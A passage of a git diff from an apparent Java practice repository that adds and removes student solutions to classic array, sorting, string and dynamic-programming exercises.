+ } + return seclargest; + + } + + + private static int bruteforce(int[] arr) { + Arrays.sort(arr); + System.out.println(Arrays.toString(arr)); + return arr[arr.length-2]; + } +} diff --git a/Add Code Here/JAVA/LEasy/SetMatrixZero.java b/Add Code Here/JAVA/LEasy/SetMatrixZero.java new file mode 100644 index 00000000000..5bfb41e1b33 --- /dev/null +++ b/Add Code Here/JAVA/LEasy/SetMatrixZero.java @@ -0,0 +1,138 @@ +package LEasy; + +import java.util.Arrays; + +public class SetMatrixZero { + public static void main(String[] args) { + + int[][] arr={ + {1,1,1,1}, + {1,0,1,1}, + {1,1,0,1}, + {1,1,1,1} + }; + int n=arr.length; + int m=arr[0].length; + +// bruteforce(arr,n,m); + + better(arr,n,m); + for (int i = 0; i < m; i++) { + + for (int j = 0; j < n; j++) { + + System.out.print(arr[i][j]+" "); + + } + System.out.println(); + + } + + + + + + + } + + private static void better(int[][] arr, int n, int m) { + + int[] col=new int[m]; + int[] row=new int[n]; + Arrays.fill(col,0); + Arrays.fill(row,0); + + for (int i = 0; i < n; i++) { + for (int j = 0; j < m; j++) { + + if(arr[i][j]==0){ + row[i]=1; + col[j]=1; + } + } + } + + + + for (int i = 0; i < n; i++) { + for (int j = 0; j < m; j++) { + + if(row[i]==1 || col[j]==1){ + arr[i][j]=0; + + } + } + } + + + + + + + + + + + + } + + private static void bruteforce(int[][] arr, int n, int m) { + + for (int i = 0; i < n; i++) { + for (int j = 0; j < m; j++) { + + if(arr[i][j]==0){ + markrow(arr,m,i); + markcol(arr,n,j); + } + + } + + } + + + for (int i = 0; i < m; i++) { + + for (int j = 0; j < n; j++) { + + System.out.print(arr[i][j]+" "); + + } + System.out.println(); + + } + + for (int i = 0; i < m; i++) { + + for (int j = 0; j < n; j++) { + + if(arr[i][j]==-1){ + arr[i][j]=0; + } + + } + System.out.println(); + + } + } + + private static void markcol(int[][] arr, int n, int j) { + + for (int i = 0; i < n; i++) { + + if(arr[i][j]!=0){ + arr[i][j]=-1; + } + + } + + } + + private static void markrow(int arr[][],int m, int i) { + for (int j = 0; j < m ; j++) { + if(arr[i][j]!=0){ + arr[i][j]=-1; + } + } + } +} diff --git a/Add Code Here/JAVA/LEasy/ShiftArraybyN.java b/Add Code Here/JAVA/LEasy/ShiftArraybyN.java new file mode 100644 index 00000000000..34afea81d46 --- /dev/null +++ b/Add Code Here/JAVA/LEasy/ShiftArraybyN.java @@ -0,0 +1,65 @@ +package LEasy; + +import java.util.Arrays; + +public class ShiftArraybyN { + public static void main(String[] args) { + int[] arr={1,2,3,4,5,6}; + + int n=arr.length; + int d=3; +// leftrotate(arr,n,d); + optimizeshift(arr,n,d); + + + + + } + + private static void reverse(int[] arr,int start,int end) { + + while (start<=end){ + int temp=arr[start]; + arr[start]=arr[end]; + arr[end]=temp; + start++; + end--; + + } + } + private static void optimizeshift(int[] arr, int n, int d) { + reverse(arr, 0, d - 1); // Reverse the first part + reverse(arr, d, n - 1); // Reverse the second part + reverse(arr, 0, n - 1); // Reverse the whole array + System.out.println(Arrays.toString(arr)); + + System.out.println(Arrays.toString(arr)); + } + + + + + private static void leftrotate(int[] arr, int n, int d) { + + d=d%n; + int temp[]=new int[d]; + for (int i = 0; i < d; i++) { + temp[i]=arr[i]; + } + for (int i = d; i temp1=new ArrayList<>(); + + int k=2; + + for (int i = k; i < n; i++) { + temp1.add(arr[i]); + } + for (int i = 0; i < k; i++) { + temp1.add(arr[i]); + } + + for (int i = 0; i < arr.length; i++) { + arr[i]=temp1.get(i); + } + System.out.println(Arrays.toString(arr)); + + + + + + + + + + + + + } + +} diff --git a/Add Code Here/JAVA/LEasy/Sort012.java b/Add Code Here/JAVA/LEasy/Sort012.java new file mode 100644 index 00000000000..68d3dc79891 --- /dev/null +++ b/Add Code Here/JAVA/LEasy/Sort012.java @@ -0,0 +1,61 @@ +package LEasy; + + +import java.util.Arrays; + +public class Sort012 { + + static class Node{ + int data; + Node next; + + Node(int data){ + this.data=data; + this.next=null; + } + } + + + public static void main(String[] args) { + int[] arr={0,1,2,0,1,2,1,2,0,0,0,1}; +// int n=arr.length; + +// bruteforce(mergesort); + + optimal(arr); + + + + + } + + private static void optimal(int[] arr) { + int low=0; + int mid=0; + int high=arr.length-1; + while (mid<=high){ + if(arr[mid]==0){ + int temp=arr[low]; + arr[low]=arr[mid]; + arr[mid]=temp; + low++; + mid++; + }else if(arr[mid]==1){ + mid++; + }else{ + int temp=arr[mid]; + arr[mid]=arr[high]; + arr[high]=temp; + high--; + } + } + + + System.out.println(Arrays.toString(arr)); + + } + + + + +} diff --git a/Add Code Here/JAVA/LEasy/Sortings.java b/Add Code Here/JAVA/LEasy/Sortings.java new file mode 100644 index 00000000000..b59d7ba13ca --- /dev/null +++ b/Add Code Here/JAVA/LEasy/Sortings.java @@ -0,0 +1,169 @@ +package LEasy; + +import java.util.ArrayList; +import java.util.Arrays; + +public class Sortings { + public static void main(String[] args) { + int[] arr={ 5,4,3,2,1}; + int n=arr.length; +// sorting(arr,n); + +// bubblesort(arr,n); +// insertionsort(arr,n); +// mergesort(arr,0,n-1); + quicksort(arr,0,n-1); + System.out.println(Arrays.toString(arr)); +// System.out.println(Arrays.toString(arr)); + + + + } + + private static void quicksort(int[] arr, int low, int high) { + + if(lowpivot && j>=low+1){ + j--; + } + if(i=high){ + return; + } +// int mid=(low+high)/2; + int mid=low+(high-low)/2; + mergesort(arr,low,mid); + mergesort(arr,mid+1,high); + merge(arr,low,mid,high); + + + + + + + } + + + private static void merge(int[] arr, int low, int mid, int high) { + + ArrayList temp=new ArrayList<>(); + int left=low; + int right=mid+1; + + while (left<=mid && right<=high){ + + if (arr[left]<=arr[right]){ + + temp.add(arr[left]); + left++; + + }else{ + temp.add(arr[right]); + right++; + } + } + + + while (left<=mid){ + temp.add(arr[left]); + left++; + } + + while (right<=high){ + temp.add(arr[right]); + right++; + } + + + for (int i = low; i <= high; i++) { + arr[i] = temp.get(i - low); + } + + } + + private static void insertionsort(int[] arr, int n) { + for (int i = 0; i <=n-1; i++) { + int j=i; + while (j>0 && arr[j-1]>arr[j]){ + int temp=arr[j-1]; + arr[j-1]=arr[j]; + arr[j]=temp; + j--; + } + + } + + } + + private static void bubblesort(int[] arr, int n) { + + boolean swapped=false; + for (int i = 0; i < n-1; i++) { + + swapped=false; + for (int j = 0; j < n-i-1; j++) { + if(arr[j]>arr[j+1]){ + int temp=arr[j]; + arr[j]=arr[j+1]; + arr[j+1]=temp; + swapped=true; + } + + } + if(swapped==false){ + break; + } + + + + } + + } + + private static void sorting(int[] arr, int n) { + for (int i = 0; i < n-1; i++) { + + int min=i; + for (int j = i+1; j < n; j++) { + if(arr[j]=left ; i--) { + System.out.print(arr[bottom][i]+" "); + } + bottom--; + + + for (int i = bottom; i >=top ; i--) { + System.out.print(arr[i][left]+" "); + } + left++; + + } + + + + + + + + + + + + + + + + + + + + } +} diff --git a/Add Code Here/JAVA/LEasy/TwoSum.java b/Add Code Here/JAVA/LEasy/TwoSum.java new file mode 100644 index 00000000000..7f9d32bc219 --- /dev/null +++ b/Add Code Here/JAVA/LEasy/TwoSum.java @@ -0,0 +1,89 @@ +package LEasy; + +import java.util.Arrays; +import java.util.HashMap; + +public class TwoSum { + public static void main(String[] args) { + + int[] arr={2,6,5,8,11}; +// System.out.println(bruteforce(arr,14)); + +// System.out.println(better(arr,14)); + +// Pair p=better(arr,14); +// System.out.println(p.a); +// System.out.println(p.b); + + System.out.println(optimal(arr,14)); + + + + + } + + private static boolean optimal(int[] arr, int target) { + + + int start=0; + int end=arr.length-1; + Arrays.sort(arr); + while (start mp = new HashMap<>(); + for (int i = 0; i < arr.length; i++) { + int a = arr[i]; + int more = sum - a; + if (mp.containsKey(more)) { + return new Pair(more, a); // Return the pair of elements + } + mp.put(a, i); + } + return null; // No such pair found + } + + private static boolean bruteforce(int[] arr,int sum) { + + for (int i = 0; i < arr.length; i++) { + for (int j = i+1; j < arr.length; j++) { + +// if(i==j){ +// continue; +// } + if(arr[i]+arr[j]==sum){ + return true; + } + + } + + } + return false; + + } +} diff --git a/Add Code Here/JAVA/LEasy/Union.java b/Add Code Here/JAVA/LEasy/Union.java new file mode 100644 index 00000000000..f5bfdf0748a --- /dev/null +++ b/Add Code Here/JAVA/LEasy/Union.java @@ -0,0 +1,115 @@ +package LEasy; + +import java.util.*; + +public class Union { + public static void main(String[] args) { + int[] arr1={1,2,3,4,5,4}; + int[] arr2={1,2,3,4,6}; + +// bruteforce(arr1,arr2); + optimal(arr1,arr2); + + + + + + + + + } + + private static void optimal(int[] arr1, int[] arr2) { + ArrayList ans=new ArrayList<>(); + + int n1=arr1.length; + int n2=arr2.length; + int i=0,j=0; + + while (i s=new HashSet<>(); + + for (int i = 0; i < arr1.length; i++) { + s.add(arr1[i]); + + } + for (int i = 0; i < arr2.length; i++) { + s.add(arr2[i]); + } + + List ls=new ArrayList<>(); + + Iterator it = s.iterator(); + + while (it.hasNext()) + { + ls.add(it.next()); + } + +// System.out.println(ls); +// +// +// for (int i:s) { +//// ls.add(i); +// System.out.print(i+" "); +// } + + + } + + +} diff --git a/Add Code Here/JAVA/LEasy/shiftarroneplace.java b/Add Code Here/JAVA/LEasy/shiftarroneplace.java new file mode 100644 index 00000000000..eaeba33fdff --- /dev/null +++ b/Add Code Here/JAVA/LEasy/shiftarroneplace.java @@ -0,0 +1,49 @@ +package LEasy; + +import java.util.Arrays; + +public class shiftarroneplace { + public static void main(String[] args) { + int[] arr={1,2,3,4,5}; + int n=arr.length; + + bruteforce(arr); + optimal(arr,n); + + + + + + + } + + private static void optimal(int[] arr, int n) { + + + int temp=arr[0]; + for (int i = 0; i < n-1; i++) { + arr[i]=arr[i+1]; + } + arr[n-1]=temp; + + System.out.println(Arrays.toString(arr)); + + + + } + + private static void bruteforce(int[] arr) { + + int n=arr.length; + int temp[]=new int[n]; + + + for (int i = 1; i < n; i++) { + + temp[i-1]=arr[i]; + } + temp[n-1]=arr[0]; + + System.out.println(Arrays.toString(temp)); + } +} diff --git a/Add Code Here/JAVA/Level Of Difference.java/Level Of Difference.java b/Add Code Here/JAVA/Level Of Difference.java/Level Of Difference.java deleted file mode 100644 index 946e4f5eaa8..00000000000 --- a/Add Code Here/JAVA/Level Of Difference.java/Level Of Difference.java +++ /dev/null @@ -1,719 +0,0 @@ - -//package LeetCode; -import java.io.*; -import java.util.*; - -/** - * - * @author prabhat - */ - class SuffixArray { - - static final int MAX1 = 1000000+10; - static final int MAX2 = 1000001; - static final long MOD = 1000000007; - static int phiSum[] = new int[MAX1]; - static int phi[] = new int[MAX1]; - static long[] res=new long[MAX1]; - static int arr[]; - static long BIT[]; - static int n; - static boolean[] b; - static int[][] pascal; - static int[][]P; - static Edge[] edge; - static int step; - public static void main(String[] args) throws IOException{ - - InputReader in = new InputReader(System.in); - PrintWriter pw = new PrintWriter(System.out,true); - String a=in.next(); - //pw.println(destinct(s1)); - String b=in.next(); - long ans=(destinct(a)+destinct(b)); - long tmp=destinct(a+"$"+b)-((long)(a.length()+1)*(b.length()+1)); - //System.out.println(tmp); - pw.println(-ans+2*tmp); - - // pw.println(Arrays.toString(lcp)); - //pw.println(Arrays.toString(sa)); - - pw.close(); - } - static long destinct(String s) - { - int[] sa=suffixArray(s); - int[] lcp=lcp(sa,s); - int l=s.length(); - long ans=0; - ans=l-sa[0]; - for(int i=1;i 0) - --h; // Deleting the starting character from the string - } - } - return lcp; - } - - - // sort suffixes of S in O(n*log(n)) - public static int[] suffixArray(CharSequence S) { - int n = S.length(); - Integer[] order = new Integer[n]; - for (int i = 0; i < n; i++) - order[i] = n - 1 - i; - - // stable sort of characters - Arrays.sort(order, new MyComparator(S)); - - int[] sa = new int[n]; - int[] classes = new int[n]; - for (int i = 0; i < n; i++) { - sa[i] = order[i]; - classes[i] = S.charAt(i); - } - // sa[i] - suffix on i'th position after sorting by first len characters - // classes[i] - equivalence class of the i'th suffix after sorting by first len characters - - for (int len = 1; len < n; len *= 2) { - int[] c = classes.clone(); - for (int i = 0; i < n; i++) { - // condition sa[i - 1] + len < n simulates 0-symbol at the end of the string - // a separate class is created for each suffix followed by simulated 0-symbol - classes[sa[i]] = i > 0 && c[sa[i - 1]] == c[sa[i]] && sa[i - 1] + len < n && c[sa[i - 1] + len / 2] == c[sa[i] + len / 2] ? classes[sa[i - 1]] : i; - } - // Suffixes are already sorted by first len characters - // Now sort suffixes by first len * 2 characters - int[] cnt = new int[n]; - for (int i = 0; i < n; i++) - cnt[i] = i; - int[] s = sa.clone(); - for (int i = 0; i < n; i++) { - // s[i] - order of suffixes sorted by first len characters - // (s[i] - len) - order of suffixes sorted only by second len characters - int s1 = s[i] - len; - // sort only suffixes of length > len, others are already sorted - if (s1 >= 0) - sa[cnt[classes[s1]]++] = s1; - } - } - return sa; - } - static class MyComparator implements Comparator { - private final CharSequence S; - public MyComparator(CharSequence S) - { - this.S=S; - } - @Override - public int compare(Integer index1, Integer index2) - { - return Character.compare(S.charAt(index1), S.charAt(index2)); - } - } - - static int[] RadixSort(int[] a) - { - int mul=1; - int n=a.length; - int max=Integer.MIN_VALUE; - for(int i=0;i 0; exp *= 10) - a= CountSort(a, n, exp); - - return a; - } - static int[] CountSort(int[] a,int n,int exp) - { - - int[] cs=new int[n]; - int[] freq=new int[10005]; - - for(int i=0;i=0;i--) - { - cs[freq[(a[i]/exp)%10]-1]=a[i]; /// because it is zero based so we do minus 1 - freq[(a[i]/exp)%10]--; - - } - - - return cs; - } - - public static long nCr(long total, long choose) - { - if(total < choose) - return 0; - if(choose == 0 || choose == total) - return 1; - return nCr(total-1,choose-1)+nCr(total-1,choose); - } - static void compute() { - for (int i = 0; i < MAX1; i++) { - phi[i] = 0; - } - phi[1]=1; - for (int i = 2; i < MAX1; i++) { - if (phi[i] == 0) { - phi[i] = i - 1; - - for (int j = 2 * i; j < MAX1; j += i) { - if(phi[j]==0) phi[j] = j ; - phi[j] -= (phi[j]/i); - } - } - } - - for (int i = 1; i < MAX1; i++) { - for (int j = i, k = 1; j < MAX1; j += i,k++) { - phiSum[j] += i * phi[k]; - } - } - //System.out.println(Arrays.toString(phiSum)); - /*botharrays res and phisum gives the same arrays so please don't worry*/ - - for(int i=1;i target) - high = mid - 1; - else - low = mid; - } - return nums[low] == target ? low : -1; - } - public static boolean palin(String s) - { - int i=0; - int j=s.length()-1; - while(i=1){b=true;} - } - } - - return b; - // return dp[0][n-1]; - - } - - - - - - public static int gcd(int a,int b) - { - int res=1; - while(a>0) - { - res=a; - a=b%a; - b=res; - } - return res; - } - - - public static long pow(long n,long p,long m) - { - long result = 1; - if(p==0) - return 1; - if (p==1) - return n; - while(p!=0) - { - if(p%2==1) - result *= n; - if(result>=m) - result%=m; - p >>=1; - n*=n; - if(n>=m) - n%=m; - } - return result; - } - public static long pow(long n,long p) - { - long result = 1; - if(p==0) - return 1; - if (p==1) - return n; - while(p!=0) - { - if(p%2==1) - result *= n; - p >>=1; - n*=n; - } - return result; - - } - - - - - static class Edge implements Comparator { - private int u; - private int v; - private int w; - public Edge() { - } - public Edge(int u, int v, int w) { - this.u=u; - this.v=v; - this.w=w; - } - public int getU() { - return u; - } - public void setU(int u) { - this.u = u; - } - public int getV() { - return v; - } - public void setV(int v) { - this.v = v; - } - public int getW() { - return w; - } - public void setW(int w) { - this.w = w; - } - public int compareTo(Edge e) - { - return this.getW() - e.getW(); - } - @Override - public String toString() { - return "Edge [u=" + u + ", v=" + v + ", w=" + w + "]"; - } - @Override - public int compare(Edge e1, Edge e2) { - if(e1.u==e2.u)return e1.v-e2.v; - return e1.u-e2.u; - - } - } - - - - static class Pair implements Comparable - { - int a,b; - Pair (int a,int b) - { - this.a=a; - this.b=b; - } - - public int compareTo(Pair o) { - // TODO Auto-generated method stub - if(this.a!=o.a) - return -Integer.compare(this.a,o.a); - else - return -Integer.compare(this.b, o.b); - //return 0; - } - public boolean equals(Object o) { - if (o instanceof Pair) { - Pair p = (Pair)o; - return p.a == a && p.b == b; - } - return false; - } - public int hashCode() { - return new Integer(a).hashCode() * 31 + new Integer(b).hashCode(); - } - } - - static class InputReader - { - private InputStream stream; - private byte[] buf = new byte[1024]; - private int curChar; - private int numChars; - private SpaceCharFilter filter; - - public InputReader(InputStream stream) - { - this.stream = stream; - } - - public int read() - { - if (numChars==-1) - throw new InputMismatchException(); - - if (curChar >= numChars) - { - curChar = 0; - try - { - numChars = stream.read(buf); - } - catch (IOException e) - { - throw new InputMismatchException(); - } - - if(numChars <= 0) - return -1; - } - return buf[curChar++]; - } - - public String nextLine() - { - BufferedReader br=new BufferedReader(new InputStreamReader(System.in)); - String str = ""; - try - { - str = br.readLine(); - } - catch (IOException e) - { - e.printStackTrace(); - } - return str; - } - public int ii() - { - int c = read(); - - while(isSpaceChar(c)) - c = read(); - - int sgn = 1; - - if (c == '-') - { - sgn = -1; - c = read(); - } - - int res = 0; - do - { - if(c<'0'||c>'9') - throw new InputMismatchException(); - res *= 10; - res += c - '0'; - c = read(); - } - while (!isSpaceChar(c)); - - return res * sgn; - } - - public long il() - { - int c = read(); - while (isSpaceChar(c)) - c = read(); - int sgn = 1; - if (c == '-') - { - sgn = -1; - c = read(); - } - long res = 0; - - do - { - if (c < '0' || c > '9') - throw new InputMismatchException(); - res *= 10; - res += c - '0'; - c = read(); - } - while (!isSpaceChar(c)); - return res * sgn; - } - - public double nextDouble() - { - int c = read(); - while (isSpaceChar(c)) - c = read(); - int sgn = 1; - if (c == '-') - { - sgn = -1; - c = read(); - } - double res = 0; - while (!isSpaceChar(c) && c != '.') - { - if (c == 'e' || c == 'E') - return res * Math.pow(10, ii()); - if (c < '0' || c > '9') - throw new InputMismatchException(); - res *= 10; - res += c - '0'; - c = read(); - } - if (c == '.') - { - c = read(); - double m = 1; - while (!isSpaceChar(c)) - { - if (c == 'e' || c == 'E') - return res * Math.pow(10, ii()); - if (c < '0' || c > '9') - throw new InputMismatchException(); - m /= 10; - res += (c - '0') * m; - c = read(); - } - } - return res * sgn; - } - - public String readString() - { - int c = read(); - while (isSpaceChar(c)) - c = read(); - StringBuilder res = new StringBuilder(); - do - { - res.appendCodePoint(c); - c = read(); - } - while (!isSpaceChar(c)); - - return res.toString(); - } - - public boolean isSpaceChar(int c) - { - if (filter != null) - return filter.isSpaceChar(c); - return c == ' ' || c == '\n' || c == '\r' || c == '\t' || c == -1; - } - - public String next() - { - return readString(); - } - - public interface SpaceCharFilter - { - public boolean isSpaceChar(int ch); - } - } - } diff --git a/Add Code Here/JAVA/Linear Search.java b/Add Code Here/JAVA/Linear Search.java deleted file mode 100644 index 3cd8629fbe8..00000000000 --- a/Add Code Here/JAVA/Linear Search.java +++ /dev/null @@ -1,24 +0,0 @@ -public class Main { - - public static void main(String[] args) { - int[]arr= {11,20,25,30,35,45,90}; - int target=25; - System.out.println(linearSearch(arr,target)); - - } - static int linearSearch(int[]arr,int target) { - if(arr.length==0) { - return -1; - } - for(int index=0;index 2 , startIndex = endIndex , inBoundary string should be palindrome - // table[i+1][j-1] should br palindrome (inboundary string) - - int subLen ,j; //substring length - for(subLen = 3; subLen <= n ; subLen++) - { - //starting index - for(i=0;i maxLength) - { - maxLength = subLen; - startIndex = i; - } - } - } - } - return S.substring(startIndex,startIndex+maxLength); - - - } -} diff --git a/Add Code Here/JAVA/LongestRepeatingSubsequence.java b/Add Code Here/JAVA/LongestRepeatingSubsequence.java deleted file mode 100644 index edb3c1d7ec2..00000000000 --- a/Add Code Here/JAVA/LongestRepeatingSubsequence.java +++ /dev/null @@ -1,37 +0,0 @@ -import java.util.*; -public class Solution -{ - public static int lrs(int index1,int index2,String a,int[][]dp) - { - //Base Case - if(index1<0 || index2<0) - { - return 0; - } - if(dp[index1][index2]!=-1) - { - return dp[index1][index2]; - } - //Match case - if((a.charAt(index1)==a.charAt(index2)) && index1!=index2) - { - return dp[index1][index2]=1+lrs(index1-1,index2-1,a,dp); - } - - //Not Match - return dp[index1][index2]=0+Math.max(lrs(index1-1,index2,a,dp),lrs(index1,index2-1,a,dp)); - } - public static int longestRepeatingSubsequence(String st, int n) - { - // Write your coder here. - //Similar to LCS - //the only change is that we need to make sure index1!=index2 - int[][]dp=new int[n][n]; - for (int i = 0; i < n; i++) - { - Arrays.fill(dp[i], -1); - } - - return lrs(n-1,n-1,st,dp); - } -} diff --git a/Add Code Here/JAVA/Longest_Common_Substring.java b/Add Code Here/JAVA/Longest_Common_Substring.java deleted file mode 100644 index c2ac0dc826f..00000000000 --- a/Add Code Here/JAVA/Longest_Common_Substring.java +++ /dev/null @@ -1,33 +0,0 @@ -/** - * Longest_Common_Substring - */ -public class Longest_Common_Substring { - public static int LCSmin(int m,int n,String s1, String s2) - { - int dp[][]=new int [m+1][n+1]; - return findLCS(m, n, s1, s2, dp); - - } - public static int findLCS(int m,int n,String s1, String s2,int dp[][]) - { - int ans=0; - for(int i=1;i<=m;i++) - { - for(int j=1;j<=n;j++) - { - if(s1.charAt(i-1)==s2.charAt(j-1)) - dp[i][j]=dp[i-1][j-1]+1; - - ans=Math.max(ans, dp[i][j]); - } - } - return ans; - } - public static void main(String[] args) { - String s1="BABCDD"; - String s2="ABCDADE"; - - System.out.println(LCSmin(s1.length(), s2.length(), s1, s2)); - - } -} \ No newline at end of file diff --git a/Add Code Here/JAVA/Longest_Palindromic_Substring.java b/Add Code Here/JAVA/Longest_Palindromic_Substring.java deleted file mode 100644 index aa5c7936933..00000000000 --- a/Add Code Here/JAVA/Longest_Palindromic_Substring.java +++ /dev/null @@ -1,32 +0,0 @@ -public class Longest_Palindromic_Substring { - public static int LCSmin(int m,int n,String s1, String s2) - { - int dp[][]=new int [m+1][n+1]; - return findLCS(m, n, s1, s2, dp); - - } - public static int findLCS(int m,int n,String s1, String s2,int dp[][]) - { - int ans=0; - for(int i=1;i<=m;i++) - { - for(int j=1;j<=n;j++) - { - if(s1.charAt(i-1)==s2.charAt(j-1)) - dp[i][j]=dp[i-1][j-1]+1; - - ans=Math.max(ans, dp[i][j]); - } - } - return ans; - } - public static void main(String[] args) { - String s1="ABCDDA"; - StringBuilder s2=new StringBuilder(s1); - s2.reverse(); - String s3=s2.toString(); - - System.out.println(LCSmin(s1.length(), s3.length(), s1, s3)); - - } -} diff --git a/Add Code Here/JAVA/MajorityElement.java b/Add Code Here/JAVA/MajorityElement.java deleted file mode 100644 index caa32b24fdf..00000000000 --- a/Add Code Here/JAVA/MajorityElement.java +++ /dev/null @@ -1,36 +0,0 @@ -//169. Majority Element - -package com.morle; - -import java.util.HashMap; -import java.util.Map; - -public class MajorityElement { - public static void main(String[] args) { - System.out.println("asd"); - } - public static int majorityElement(int[] nums) { - Map countMap = new HashMap(); - for (int i = 0; i < nums.length; i++) { - int key = nums[i]; - if (countMap.containsKey(key)) - { - int count = countMap.get(key); - count++; - countMap.put(key, count); - } - else - { - countMap.put(key, 1); - } - } - for(Map.Entry val : countMap.entrySet()) - { - if (val.getValue() > nums.length/2) - { - return val.getKey(); - } - } - return 0; - } -} diff --git a/Add Code Here/JAVA/MatrixChainMultiplicationImplementation.java b/Add Code Here/JAVA/MatrixChainMultiplicationImplementation.java deleted file mode 100644 index 0965bd88588..00000000000 --- a/Add Code Here/JAVA/MatrixChainMultiplicationImplementation.java +++ /dev/null @@ -1,37 +0,0 @@ - -class MatrixChainMultiplication { - // Matrix Ai has dimension p[i-1] x p[i] for i = 1..n - static int MatrixChainOrder(int p[], int i, int j) - { - if (i == j) - return 0; - - int min = Integer.MAX_VALUE; - - // place parenthesis at different places between first - // and last matrix, recursively calculate count of - // multiplications for each parenthesis placement and - // return the minimum count - for (int k = i; k < j; k++) { - int count = MatrixChainOrder(p, i, k) + - MatrixChainOrder(p, k + 1, j) + - p[i - 1] * p[k] * p[j]; - - if (count < min) - min = count; - } - - // Return minimum count - return min; - } - - // Driver program to test above function - public static void main(String args[]) - { - int arr[] = new int[] { 1, 2, 3, 4, 3 }; - int n = arr.length; - - System.out.println("Minimum number of multiplications is " - + MatrixChainOrder(arr, 1, n - 1)); - } -} diff --git a/Add Code Here/JAVA/MazeAllDirections.java b/Add Code Here/JAVA/MazeAllDirections.java deleted file mode 100644 index b1e3e6c3397..00000000000 --- a/Add Code Here/JAVA/MazeAllDirections.java +++ /dev/null @@ -1,38 +0,0 @@ -public class MazeAllDirections { - public static void main(String args[]){ - boolean[][] arr={ - {true,true,true}, - {true,true,true}, - {true,true,true} - }; - recurse(arr,0,0,""); - } - static void recurse(boolean[][] maze,int r,int c,String p){ - if (r==2 && c==2){ - System.out.println(p); - return ; - } - if (!maze[r][c]){ - return; - - } - maze[r][c]=false; - - if (r<2){ - recurse(maze, r+1, c,p+"D"); - } - if (c<2){ - recurse(maze, r, c+1,p+"R"); - } - if (r>0){ - recurse(maze, r-1, c,p+"U"); - } - if (c>0){ - recurse(maze, r, c-1,p+"L"); - } - - maze[r][c]=true; - - } - -} \ No newline at end of file diff --git a/Add Code Here/JAVA/MergeKsortedLinkedLists.java b/Add Code Here/JAVA/MergeKsortedLinkedLists.java deleted file mode 100644 index 99b26053d1f..00000000000 --- a/Add Code Here/JAVA/MergeKsortedLinkedLists.java +++ /dev/null @@ -1,73 +0,0 @@ -import java.io.*; -import java.util.*; - -//given k sorted lists,merge them in single pair -//sample input -// 4 -// 5 -// 10 20 30 40 50 -// 7 -// 5 7 9 11 19 55 57 -// 3 -// 1 2 3 -// 2 -// 32 39 -public class MergeKSortedLists { - public static class Pair implements Comparable{ - int li; - int di; - int val; - public Pair(int li,int di,int val){ - this.li=li; - this.di=di; - this.val=val; - } - public int compareTo(Pair o){ - return this.val-o.val; - } - } - - public static ArrayList mergeKSortedLists(ArrayList> lists){ - ArrayList rv = new ArrayList<>(); - PriorityQueue pq=new PriorityQueue<>(); - for(int i=0;i0){ - Pair p=pq.remove(); - rv.add(p.val); - p.di++; - if(p.di> lists = new ArrayList<>(); - for(int i = 0; i < k; i++){ - ArrayList list = new ArrayList<>(); - - int n = Integer.parseInt(br.readLine()); - String[] elements = br.readLine().split(" "); - for(int j = 0; j < n; j++){ - list.add(Integer.parseInt(elements[j])); - } - - lists.add(list); - } - - ArrayList mlist = mergeKSortedLists(lists); - for(int val: mlist){ - System.out.print(val + " "); - } - System.out.println(); - } - -} \ No newline at end of file diff --git a/Add Code Here/JAVA/MergeSort.java b/Add Code Here/JAVA/MergeSort.java deleted file mode 100644 index c0685cbaaba..00000000000 --- a/Add Code Here/JAVA/MergeSort.java +++ /dev/null @@ -1,96 +0,0 @@ -* Java program for Merge Sort */ -class MergeSort { - // Merges two subarrays of arr[]. - // First subarray is arr[l..m] - // Second subarray is arr[m+1..r] - void merge(int arr[], int l, int m, int r) - { - // Find sizes of two subarrays to be merged - int n1 = m - l + 1; - int n2 = r - m; - - /* Create temp arrays */ - int L[] = new int[n1]; - int R[] = new int[n2]; - - /*Copy data to temp arrays*/ - for (int i = 0; i < n1; ++i) - L[i] = arr[l + i]; - for (int j = 0; j < n2; ++j) - R[j] = arr[m + 1 + j]; - - /* Merge the temp arrays */ - - // Initial indexes of first and second subarrays - int i = 0, j = 0; - - // Initial index of merged subarray array - int k = l; - while (i < n1 && j < n2) { - if (L[i] <= R[j]) { - arr[k] = L[i]; - i++; - } - else { - arr[k] = R[j]; - j++; - } - k++; - } - - /* Copy remaining elements of L[] if any */ - while (i < n1) { - arr[k] = L[i]; - i++; - k++; - } - - /* Copy remaining elements of R[] if any */ - while (j < n2) { - arr[k] = R[j]; - j++; - k++; - } - } - - // Main function that sorts arr[l..r] using - // merge() - void sort(int arr[], int l, int r) - { - if (l < r) { - // Find the middle point - int m = l + (r - l) / 2; - - // Sort first and second halves - sort(arr, l, m); - sort(arr, m + 1, r); - - // Merge the sorted halves - merge(arr, l, m, r); - } - } - - /* A utility function to print array of size n */ - static void printArray(int arr[]) - { - int n = arr.length; - for (int i = 0; i < n; ++i) - System.out.print(arr[i] + " "); - System.out.println(); - } - - // Driver code - public static void main(String args[]) - { - int arr[] = { 12, 11, 13, 5, 6, 7 }; - - System.out.println("Given Array"); - printArray(arr); - - MergeSort ob = new MergeSort(); - ob.sort(arr, 0, arr.length - 1); - - System.out.println("\nSorted array"); - printArray(arr); - } -} diff --git a/Add Code Here/JAVA/MergeSortJava.java b/Add Code Here/JAVA/MergeSortJava.java deleted file mode 100644 index c0685cbaaba..00000000000 --- a/Add Code Here/JAVA/MergeSortJava.java +++ /dev/null @@ -1,96 +0,0 @@ -* Java program for Merge Sort */ -class MergeSort { - // Merges two subarrays of arr[]. - // First subarray is arr[l..m] - // Second subarray is arr[m+1..r] - void merge(int arr[], int l, int m, int r) - { - // Find sizes of two subarrays to be merged - int n1 = m - l + 1; - int n2 = r - m; - - /* Create temp arrays */ - int L[] = new int[n1]; - int R[] = new int[n2]; - - /*Copy data to temp arrays*/ - for (int i = 0; i < n1; ++i) - L[i] = arr[l + i]; - for (int j = 0; j < n2; ++j) - R[j] = arr[m + 1 + j]; - - /* Merge the temp arrays */ - - // Initial indexes of first and second subarrays - int i = 0, j = 0; - - // Initial index of merged subarray array - int k = l; - while (i < n1 && j < n2) { - if (L[i] <= R[j]) { - arr[k] = L[i]; - i++; - } - else { - arr[k] = R[j]; - j++; - } - k++; - } - - /* Copy remaining elements of L[] if any */ - while (i < n1) { - arr[k] = L[i]; - i++; - k++; - } - - /* Copy remaining elements of R[] if any */ - while (j < n2) { - arr[k] = R[j]; - j++; - k++; - } - } - - // Main function that sorts arr[l..r] using - // merge() - void sort(int arr[], int l, int r) - { - if (l < r) { - // Find the middle point - int m = l + (r - l) / 2; - - // Sort first and second halves - sort(arr, l, m); - sort(arr, m + 1, r); - - // Merge the sorted halves - merge(arr, l, m, r); - } - } - - /* A utility function to print array of size n */ - static void printArray(int 